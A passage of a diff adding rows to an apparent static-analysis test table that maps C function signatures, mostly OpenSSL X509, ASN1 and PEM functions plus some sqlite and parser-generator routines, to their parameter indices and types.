*,X509_STORE_CTX_verify_fn) | | X509_STORE_CTX_set_verify | 1 | X509_STORE_CTX_verify_fn | +| (X509_STORE_CTX *,X509_VERIFY_PARAM *) | | X509_STORE_CTX_set0_param | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,X509_VERIFY_PARAM *) | | X509_STORE_CTX_set0_param | 1 | X509_VERIFY_PARAM * | +| (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | int | +| (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | int | +| (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | int | +| (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | int | +| (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | int | +| (X509_STORE_CTX *,int,int,int) | | X509_STORE_CTX_purpose_inherit | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,int,int,int) | | X509_STORE_CTX_purpose_inherit | 1 | int | +| (X509_STORE_CTX *,int,int,int) | | X509_STORE_CTX_purpose_inherit | 2 | int | +| (X509_STORE_CTX *,int,int,int) | | X509_STORE_CTX_purpose_inherit | 3 | int | +| (X509_STORE_CTX *,stack_st_X509 *) | | X509_STORE_CTX_set0_trusted_stack | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,stack_st_X509 *) | | X509_STORE_CTX_set0_trusted_stack | 1 | stack_st_X509 * | +| (X509_STORE_CTX *,stack_st_X509 *) | | X509_STORE_CTX_set0_untrusted | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,stack_st_X509 *) | | X509_STORE_CTX_set0_untrusted | 1 | stack_st_X509 * | +| (X509_STORE_CTX *,stack_st_X509 *) | | X509_STORE_CTX_set0_verified_chain | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,stack_st_X509 *) | | X509_STORE_CTX_set0_verified_chain | 1 | stack_st_X509 * | +| (X509_STORE_CTX *,stack_st_X509_CRL *) | | X509_STORE_CTX_set0_crls | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,stack_st_X509_CRL *) | | X509_STORE_CTX_set0_crls | 1 | stack_st_X509_CRL * | +| (X509_STORE_CTX *,unsigned int) | | X509_STORE_CTX_set_current_reasons | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,unsigned int) | | X509_STORE_CTX_set_current_reasons | 1 | unsigned int | +| (X509_STORE_CTX *,unsigned long) | | X509_STORE_CTX_set_flags | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,unsigned long) | | X509_STORE_CTX_set_flags | 1 | unsigned long | +| (X509_STORE_CTX *,unsigned long,time_t) | | X509_STORE_CTX_set_time | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,unsigned long,time_t) | | X509_STORE_CTX_set_time | 1 | unsigned long | +| (X509_STORE_CTX *,unsigned long,time_t) | | X509_STORE_CTX_set_time | 2 | time_t | +| (X509_VAL *) | | X509_VAL_free | 0 | X509_VAL * | +| (X509_VAL **,const unsigned char **,long) | | d2i_X509_VAL | 0 | X509_VAL ** | +| (X509_VAL **,const unsigned char **,long) | | d2i_X509_VAL | 1 | const unsigned char ** | +| (X509_VAL **,const unsigned char **,long) | | d2i_X509_VAL | 2 | long | +| (X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_get0_email | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,ASN1_OBJECT *) | | X509_VERIFY_PARAM_add0_policy | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,ASN1_OBJECT *) | | X509_VERIFY_PARAM_add0_policy | 1 | ASN1_OBJECT * | +| (X509_VERIFY_PARAM *,X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_move_peername | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_move_peername | 1 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,const X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_inherit | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,const X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_inherit | 1 | const X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,const X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_set1 | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,const X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_set1 | 1 | const X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_ip_asc | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_ip_asc | 1 | const char * | +| (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_name | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_name | 1 | const char * | +| (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_add1_host | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_add1_host | 1 | const char * | +| (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_add1_host | 2 | size_t | +| (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_set1_email | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_set1_email | 1 | const char * | +| (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_set1_email | 2 | size_t | +| (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_set1_host | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_set1_host | 1 | const char * | +| (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_set1_host | 2 | size_t | +| (X509_VERIFY_PARAM *,const unsigned char *,size_t) | | X509_VERIFY_PARAM_set1_ip | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,const unsigned char *,size_t) | | X509_VERIFY_PARAM_set1_ip | 1 | const unsigned char * | +| (X509_VERIFY_PARAM *,const unsigned char *,size_t) | | X509_VERIFY_PARAM_set1_ip | 2 | size_t | +| (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | int | +| (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | int | +| (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | int | +| (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | int | +| (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | int | +| (X509_VERIFY_PARAM *,stack_st_ASN1_OBJECT *) | | X509_VERIFY_PARAM_set1_policies | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,stack_st_ASN1_OBJECT *) | | X509_VERIFY_PARAM_set1_policies | 1 | stack_st_ASN1_OBJECT * | +| (X509_VERIFY_PARAM *,time_t) | | X509_VERIFY_PARAM_set_time | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,time_t) | | X509_VERIFY_PARAM_set_time | 1 | time_t | +| (X509_VERIFY_PARAM *,uint32_t) | | X509_VERIFY_PARAM_set_inh_flags | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,uint32_t) | | X509_VERIFY_PARAM_set_inh_flags | 1 | uint32_t | +| (X509_VERIFY_PARAM *,unsigned int) | | X509_VERIFY_PARAM_set_hostflags | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,unsigned int) | | X509_VERIFY_PARAM_set_hostflags | 1 | unsigned int | +| (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_clear_flags | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_clear_flags | 1 | unsigned long | +| (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_set_flags | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_set_flags | 1 | unsigned long | | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 0 | XCHAR * | | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 1 | const XCHAR * | | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 2 | int | @@ -724,7 +21938,110 @@ getSignatureParameterName | (XCHAR,XCHAR) | CStringT | Replace | 0 | XCHAR | | (XCHAR,XCHAR) | CStringT | Replace | 1 | XCHAR | | (YCHAR) | CStringT | operator= | 0 | YCHAR | +| (action **,e_action,symbol *,char *) | | Action_add | 0 | action ** | +| (action **,e_action,symbol *,char *) | | Action_add | 1 | e_action | +| (action **,e_action,symbol *,char *) | | Action_add | 2 | symbol * | +| (action **,e_action,symbol *,char *) | | Action_add | 3 | char * | +| (action *,FILE *,int) | | PrintAction | 0 | action * | +| (action *,FILE *,int) | | PrintAction | 1 | FILE * | +| (action *,FILE *,int) | | PrintAction | 2 | int | +| (acttab *) | | acttab_action_size | 0 | acttab * | +| (acttab *,int) | | acttab_insert | 0 | acttab * | +| (acttab *,int) | | acttab_insert | 1 | int | +| (acttab *,int,int) | | acttab_action | 0 | acttab * | +| (acttab *,int,int) | | acttab_action | 1 | int | +| (acttab *,int,int) | | acttab_action | 2 | int | +| (char *) | | SRP_VBASE_new | 0 | char * | +| (char *) | | defossilize | 0 | char * | +| (char *) | | make_uppercase | 0 | char * | +| (char *) | | next_item | 0 | char * | | (char *) | CStringT | CStringT | 0 | char * | +| (char **) | | OCSP_accept_responses_new | 0 | char ** | +| (char **) | | sqlite3_free_table | 0 | char ** | +| (char **,s_options *,FILE *) | | OptInit | 0 | char ** | +| (char **,s_options *,FILE *) | | OptInit | 1 | s_options * | +| (char **,s_options *,FILE *) | | OptInit | 2 | FILE * | +| (char *,EVP_CIPHER_INFO *) | | PEM_get_EVP_CIPHER_INFO | 0 | char * | +| (char *,EVP_CIPHER_INFO *) | | PEM_get_EVP_CIPHER_INFO | 1 | EVP_CIPHER_INFO * | +| (char *,FILE *,FILE *,int *) | | tplt_xfer | 0 | char * | +| (char *,FILE *,FILE *,int *) | | tplt_xfer | 1 | FILE * | +| (char *,FILE *,FILE *,int *) | | tplt_xfer | 2 | FILE * | +| (char *,FILE *,FILE *,int *) | | tplt_xfer | 3 | int * | +| (char *,const char *,const char *,X509_VERIFY_PARAM *) | | load_certs_multifile | 0 | char * | +| (char *,const char *,const char *,X509_VERIFY_PARAM *) | | load_certs_multifile | 1 | const char * | +| (char *,const char *,const char *,X509_VERIFY_PARAM *) | | load_certs_multifile | 2 | const char * | +| (char *,const char *,const char *,X509_VERIFY_PARAM *) | | load_certs_multifile | 3 | X509_VERIFY_PARAM * | +| (char *,const char *,const char *,X509_VERIFY_PARAM *) | | load_certstore | 0 | char * | +| (char *,const char *,const char *,X509_VERIFY_PARAM *) | | load_certstore | 1 | const char * | +| (char *,const char *,const char *,X509_VERIFY_PARAM *) | | load_certstore | 2 | const char * | +| (char *,const char *,const char *,X509_VERIFY_PARAM *) | | load_certstore | 3 | X509_VERIFY_PARAM * | +| (char *,const char *,int,const char *) | | PEM_dek_info | 0 | char * | +| (char *,const char *,int,const char *) | | PEM_dek_info | 1 | const char * | +| (char *,const char *,int,const char *) | | PEM_dek_info | 2 | int | +| (char *,const char *,int,const char *) | | PEM_dek_info | 3 | const char * | +| (char *,const char *,size_t) | | OPENSSL_strlcat | 0 | char * | +| (char *,const char *,size_t) | | OPENSSL_strlcat | 1 | const char * | +| (char *,const char *,size_t) | | OPENSSL_strlcat | 2 | size_t | +| (char *,const char *,size_t) | | OPENSSL_strlcpy | 0 | char * | +| (char *,const char *,size_t) | | OPENSSL_strlcpy | 1 | const char * | +| (char *,const char *,size_t) | | OPENSSL_strlcpy | 2 | size_t | +| (char *,int) | | PEM_proc_type | 0 | char * | +| (char *,int) | | PEM_proc_type | 1 | int | +| (char *,int,const ASN1_OBJECT *) | | i2t_ASN1_OBJECT | 0 | char * | +| (char *,int,const ASN1_OBJECT *) | | i2t_ASN1_OBJECT | 1 | int | +| (char *,int,const ASN1_OBJECT *) | | i2t_ASN1_OBJECT | 2 | const ASN1_OBJECT * | +| (char *,int,const ASN1_OBJECT *,int) | | OBJ_obj2txt | 0 | char * | +| (char *,int,const ASN1_OBJECT *,int) | | OBJ_obj2txt | 1 | int | +| (char *,int,const ASN1_OBJECT *,int) | | OBJ_obj2txt | 2 | const ASN1_OBJECT * | +| (char *,int,const ASN1_OBJECT *,int) | | OBJ_obj2txt | 3 | int | +| (char *,int,int,void *) | | PEM_def_callback | 0 | char * | +| (char *,int,int,void *) | | PEM_def_callback | 1 | int | +| (char *,int,int,void *) | | PEM_def_callback | 2 | int | +| (char *,int,int,void *) | | PEM_def_callback | 3 | void * | +| (char *,int,int,void *) | | ossl_pw_pem_password | 0 | char * | +| (char *,int,int,void *) | | ossl_pw_pem_password | 1 | int | +| (char *,int,int,void *) | | ossl_pw_pem_password | 2 | int | +| (char *,int,int,void *) | | ossl_pw_pem_password | 3 | void * | +| (char *,int,int,void *) | | ossl_pw_pvk_password | 0 | char * | +| (char *,int,int,void *) | | ossl_pw_pvk_password | 1 | int | +| (char *,int,int,void *) | | ossl_pw_pvk_password | 2 | int | +| (char *,int,int,void *) | | ossl_pw_pvk_password | 3 | void * | +| (char *,size_t) | | RAND_file_name | 0 | char * | +| (char *,size_t) | | RAND_file_name | 1 | size_t | +| (char *,size_t,const char *,...) | | BIO_snprintf | 0 | char * | +| (char *,size_t,const char *,...) | | BIO_snprintf | 1 | size_t | +| (char *,size_t,const char *,...) | | BIO_snprintf | 2 | const char * | +| (char *,size_t,const char *,...) | | BIO_snprintf | 3 | ... | +| (char *,size_t,const char *,va_list) | | BIO_vsnprintf | 0 | char * | +| (char *,size_t,const char *,va_list) | | BIO_vsnprintf | 1 | size_t | +| (char *,size_t,const char *,va_list) | | BIO_vsnprintf | 2 | const char * | +| (char *,size_t,const char *,va_list) | | BIO_vsnprintf | 3 | va_list | +| (char *,size_t,size_t *,const OSSL_PARAM[],int,ossl_passphrase_data_st *) | | ossl_pw_get_passphrase | 0 | char * | +| (char *,size_t,size_t *,const OSSL_PARAM[],int,ossl_passphrase_data_st *) | | ossl_pw_get_passphrase | 1 | size_t | +| (char *,size_t,size_t *,const OSSL_PARAM[],int,ossl_passphrase_data_st *) | | ossl_pw_get_passphrase | 2 | size_t * | +| (char *,size_t,size_t *,const OSSL_PARAM[],int,ossl_passphrase_data_st *) | | ossl_pw_get_passphrase | 3 | const OSSL_PARAM[] | +| (char *,size_t,size_t *,const OSSL_PARAM[],int,ossl_passphrase_data_st *) | | ossl_pw_get_passphrase | 4 | int | +| (char *,size_t,size_t *,const OSSL_PARAM[],int,ossl_passphrase_data_st *) | | ossl_pw_get_passphrase | 5 | ossl_passphrase_data_st * | +| (char *,size_t,size_t *,const OSSL_PARAM[],void *) | | ossl_pw_passphrase_callback_dec | 0 | char * | +| (char *,size_t,size_t *,const OSSL_PARAM[],void *) | | ossl_pw_passphrase_callback_dec | 1 | size_t | +| (char *,size_t,size_t *,const OSSL_PARAM[],void *) | | ossl_pw_passphrase_callback_dec | 2 | size_t * | +| (char *,size_t,size_t *,const OSSL_PARAM[],void *) | | ossl_pw_passphrase_callback_dec | 3 | const OSSL_PARAM[] | +| (char *,size_t,size_t *,const OSSL_PARAM[],void *) | | ossl_pw_passphrase_callback_dec | 4 | void * | +| (char *,size_t,size_t *,const OSSL_PARAM[],void *) | | ossl_pw_passphrase_callback_enc | 0 | char * | +| (char *,size_t,size_t *,const OSSL_PARAM[],void *) | | ossl_pw_passphrase_callback_enc | 1 | size_t | +| (char *,size_t,size_t *,const OSSL_PARAM[],void *) | | ossl_pw_passphrase_callback_enc | 2 | size_t * | +| (char *,size_t,size_t *,const OSSL_PARAM[],void *) | | ossl_pw_passphrase_callback_enc | 3 | const OSSL_PARAM[] | +| (char *,size_t,size_t *,const OSSL_PARAM[],void *) | | ossl_pw_passphrase_callback_enc | 4 | void * | +| (char *,size_t,size_t *,const unsigned char *,size_t,const char) | | OPENSSL_buf2hexstr_ex | 0 | char * | +| (char *,size_t,size_t *,const unsigned char *,size_t,const char) | | OPENSSL_buf2hexstr_ex | 1 | size_t | +| (char *,size_t,size_t *,const unsigned char *,size_t,const char) | | OPENSSL_buf2hexstr_ex | 2 | size_t * | +| (char *,size_t,size_t *,const unsigned char *,size_t,const char) | | OPENSSL_buf2hexstr_ex | 3 | const unsigned char * | +| (char *,size_t,size_t *,const unsigned char *,size_t,const char) | | OPENSSL_buf2hexstr_ex | 4 | size_t | +| (char *,size_t,size_t *,const unsigned char *,size_t,const char) | | OPENSSL_buf2hexstr_ex | 5 | const char | +| (char *,uint8_t) | | ossl_to_hex | 0 | char * | +| (char *,uint8_t) | | ossl_to_hex | 1 | uint8_t | +| (char *,unsigned int) | | utf8_fromunicode | 0 | char * | +| (char *,unsigned int) | | utf8_fromunicode | 1 | unsigned int | | (char) | | operator+= | 0 | char | | (char) | CComBSTR | Append | 0 | char | | (char) | CSimpleStringT | operator+= | 0 | char | @@ -732,10 +22049,504 @@ getSignatureParameterName | (char,const CStringT &) | | operator+ | 1 | const CStringT & | | (char,int) | CStringT | CStringT | 0 | char | | (char,int) | CStringT | CStringT | 1 | int | +| (config *) | | State_find | 0 | config * | +| (config *) | | confighash | 0 | config * | +| (config *) | | statehash | 0 | config * | +| (config *,config *) | | statecmp | 0 | config * | +| (config *,config *) | | statecmp | 1 | config * | +| (const ACCESS_DESCRIPTION *,unsigned char **) | | i2d_ACCESS_DESCRIPTION | 0 | const ACCESS_DESCRIPTION * | +| (const ACCESS_DESCRIPTION *,unsigned char **) | | i2d_ACCESS_DESCRIPTION | 1 | unsigned char ** | +| (const ADMISSIONS *) | | ADMISSIONS_get0_admissionAuthority | 0 | const ADMISSIONS * | +| (const ADMISSIONS *) | | ADMISSIONS_get0_namingAuthority | 0 | const ADMISSIONS * | +| (const ADMISSIONS *) | | ADMISSIONS_get0_professionInfos | 0 | const ADMISSIONS * | +| (const ADMISSIONS *,unsigned char **) | | i2d_ADMISSIONS | 0 | const ADMISSIONS * | +| (const ADMISSIONS *,unsigned char **) | | i2d_ADMISSIONS | 1 | unsigned char ** | +| (const ADMISSION_SYNTAX *) | | ADMISSION_SYNTAX_get0_admissionAuthority | 0 | const ADMISSION_SYNTAX * | +| (const ADMISSION_SYNTAX *) | | ADMISSION_SYNTAX_get0_contentsOfAdmissions | 0 | const ADMISSION_SYNTAX * | +| (const ADMISSION_SYNTAX *,unsigned char **) | | i2d_ADMISSION_SYNTAX | 0 | const ADMISSION_SYNTAX * | +| (const ADMISSION_SYNTAX *,unsigned char **) | | i2d_ADMISSION_SYNTAX | 1 | unsigned char ** | +| (const ASIdOrRange *,unsigned char **) | | i2d_ASIdOrRange | 0 | const ASIdOrRange * | +| (const ASIdOrRange *,unsigned char **) | | i2d_ASIdOrRange | 1 | unsigned char ** | +| (const ASIdentifierChoice *,unsigned char **) | | i2d_ASIdentifierChoice | 0 | const ASIdentifierChoice * | +| (const ASIdentifierChoice *,unsigned char **) | | i2d_ASIdentifierChoice | 1 | unsigned char ** | +| (const ASIdentifiers *,unsigned char **) | | i2d_ASIdentifiers | 0 | const ASIdentifiers * | +| (const ASIdentifiers *,unsigned char **) | | i2d_ASIdentifiers | 1 | unsigned char ** | +| (const ASN1_BIT_STRING **,const X509_ALGOR **,const X509 *) | | X509_get0_signature | 0 | const ASN1_BIT_STRING ** | +| (const ASN1_BIT_STRING **,const X509_ALGOR **,const X509 *) | | X509_get0_signature | 1 | const X509_ALGOR ** | +| (const ASN1_BIT_STRING **,const X509_ALGOR **,const X509 *) | | X509_get0_signature | 2 | const X509 * | +| (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 0 | const ASN1_BIT_STRING * | +| (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | int | +| (const ASN1_BIT_STRING *,unsigned char **) | | i2d_ASN1_BIT_STRING | 0 | const ASN1_BIT_STRING * | +| (const ASN1_BIT_STRING *,unsigned char **) | | i2d_ASN1_BIT_STRING | 1 | unsigned char ** | +| (const ASN1_BMPSTRING *,unsigned char **) | | i2d_ASN1_BMPSTRING | 0 | const ASN1_BMPSTRING * | +| (const ASN1_BMPSTRING *,unsigned char **) | | i2d_ASN1_BMPSTRING | 1 | unsigned char ** | +| (const ASN1_ENUMERATED *) | | ASN1_ENUMERATED_get | 0 | const ASN1_ENUMERATED * | +| (const ASN1_ENUMERATED *,BIGNUM *) | | ASN1_ENUMERATED_to_BN | 0 | const ASN1_ENUMERATED * | +| (const ASN1_ENUMERATED *,BIGNUM *) | | ASN1_ENUMERATED_to_BN | 1 | BIGNUM * | +| (const ASN1_ENUMERATED *,unsigned char **) | | i2d_ASN1_ENUMERATED | 0 | const ASN1_ENUMERATED * | +| (const ASN1_ENUMERATED *,unsigned char **) | | i2d_ASN1_ENUMERATED | 1 | unsigned char ** | +| (const ASN1_GENERALIZEDTIME *) | | ASN1_GENERALIZEDTIME_dup | 0 | const ASN1_GENERALIZEDTIME * | +| (const ASN1_GENERALIZEDTIME *,unsigned char **) | | i2d_ASN1_GENERALIZEDTIME | 0 | const ASN1_GENERALIZEDTIME * | +| (const ASN1_GENERALIZEDTIME *,unsigned char **) | | i2d_ASN1_GENERALIZEDTIME | 1 | unsigned char ** | +| (const ASN1_GENERALSTRING *,unsigned char **) | | i2d_ASN1_GENERALSTRING | 0 | const ASN1_GENERALSTRING * | +| (const ASN1_GENERALSTRING *,unsigned char **) | | i2d_ASN1_GENERALSTRING | 1 | unsigned char ** | +| (const ASN1_IA5STRING *,unsigned char **) | | i2d_ASN1_IA5STRING | 0 | const ASN1_IA5STRING * | +| (const ASN1_IA5STRING *,unsigned char **) | | i2d_ASN1_IA5STRING | 1 | unsigned char ** | +| (const ASN1_INTEGER *) | | ASN1_INTEGER_dup | 0 | const ASN1_INTEGER * | +| (const ASN1_INTEGER *) | | ASN1_INTEGER_get | 0 | const ASN1_INTEGER * | +| (const ASN1_INTEGER *) | | ossl_cmp_asn1_get_int | 0 | const ASN1_INTEGER * | +| (const ASN1_INTEGER *,BIGNUM *) | | ASN1_INTEGER_to_BN | 0 | const ASN1_INTEGER * | +| (const ASN1_INTEGER *,BIGNUM *) | | ASN1_INTEGER_to_BN | 1 | BIGNUM * | +| (const ASN1_INTEGER *,const ASN1_INTEGER *) | | ASN1_INTEGER_cmp | 0 | const ASN1_INTEGER * | +| (const ASN1_INTEGER *,const ASN1_INTEGER *) | | ASN1_INTEGER_cmp | 1 | const ASN1_INTEGER * | +| (const ASN1_INTEGER *,unsigned char **) | | i2d_ASN1_INTEGER | 0 | const ASN1_INTEGER * | +| (const ASN1_INTEGER *,unsigned char **) | | i2d_ASN1_INTEGER | 1 | unsigned char ** | +| (const ASN1_ITEM *) | | ASN1_item_new | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,ASN1_VALUE **,char **,BIO **,BIO *,int *,const char *,int,int) | | http_server_get_asn1_req | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,ASN1_VALUE **,char **,BIO **,BIO *,int *,const char *,int,int) | | http_server_get_asn1_req | 1 | ASN1_VALUE ** | +| (const ASN1_ITEM *,ASN1_VALUE **,char **,BIO **,BIO *,int *,const char *,int,int) | | http_server_get_asn1_req | 2 | char ** | +| (const ASN1_ITEM *,ASN1_VALUE **,char **,BIO **,BIO *,int *,const char *,int,int) | | http_server_get_asn1_req | 3 | BIO ** | +| (const ASN1_ITEM *,ASN1_VALUE **,char **,BIO **,BIO *,int *,const char *,int,int) | | http_server_get_asn1_req | 4 | BIO * | +| (const ASN1_ITEM *,ASN1_VALUE **,char **,BIO **,BIO *,int *,const char *,int,int) | | http_server_get_asn1_req | 5 | int * | +| (const ASN1_ITEM *,ASN1_VALUE **,char **,BIO **,BIO *,int *,const char *,int,int) | | http_server_get_asn1_req | 6 | const char * | +| (const ASN1_ITEM *,ASN1_VALUE **,char **,BIO **,BIO *,int *,const char *,int,int) | | http_server_get_asn1_req | 7 | int | +| (const ASN1_ITEM *,ASN1_VALUE **,char **,BIO **,BIO *,int *,const char *,int,int) | | http_server_get_asn1_req | 8 | int | +| (const ASN1_ITEM *,BIO *,const void *) | | ASN1_item_i2d_bio | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,BIO *,const void *) | | ASN1_item_i2d_bio | 1 | BIO * | +| (const ASN1_ITEM *,BIO *,const void *) | | ASN1_item_i2d_bio | 2 | const void * | +| (const ASN1_ITEM *,BIO *,void *) | | ASN1_item_d2i_bio | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,BIO *,void *) | | ASN1_item_d2i_bio | 1 | BIO * | +| (const ASN1_ITEM *,BIO *,void *) | | ASN1_item_d2i_bio | 2 | void * | +| (const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_bio_ex | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_bio_ex | 1 | BIO * | +| (const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_bio_ex | 2 | void * | +| (const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_bio_ex | 3 | OSSL_LIB_CTX * | +| (const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_bio_ex | 4 | const char * | +| (const ASN1_ITEM *,FILE *,const void *) | | ASN1_item_i2d_fp | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,FILE *,const void *) | | ASN1_item_i2d_fp | 1 | FILE * | +| (const ASN1_ITEM *,FILE *,const void *) | | ASN1_item_i2d_fp | 2 | const void * | +| (const ASN1_ITEM *,FILE *,void *) | | ASN1_item_d2i_fp | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,FILE *,void *) | | ASN1_item_d2i_fp | 1 | FILE * | +| (const ASN1_ITEM *,FILE *,void *) | | ASN1_item_d2i_fp | 2 | void * | +| (const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_fp_ex | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_fp_ex | 1 | FILE * | +| (const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_fp_ex | 2 | void * | +| (const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_fp_ex | 3 | OSSL_LIB_CTX * | +| (const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_fp_ex | 4 | const char * | +| (const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ASN1_item_new_ex | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ASN1_item_new_ex | 1 | OSSL_LIB_CTX * | +| (const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ASN1_item_new_ex | 2 | const char * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_MD_CTX *) | | ASN1_item_sign_ctx | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_MD_CTX *) | | ASN1_item_sign_ctx | 1 | X509_ALGOR * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_MD_CTX *) | | ASN1_item_sign_ctx | 2 | X509_ALGOR * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_MD_CTX *) | | ASN1_item_sign_ctx | 3 | ASN1_BIT_STRING * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_MD_CTX *) | | ASN1_item_sign_ctx | 4 | const void * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING 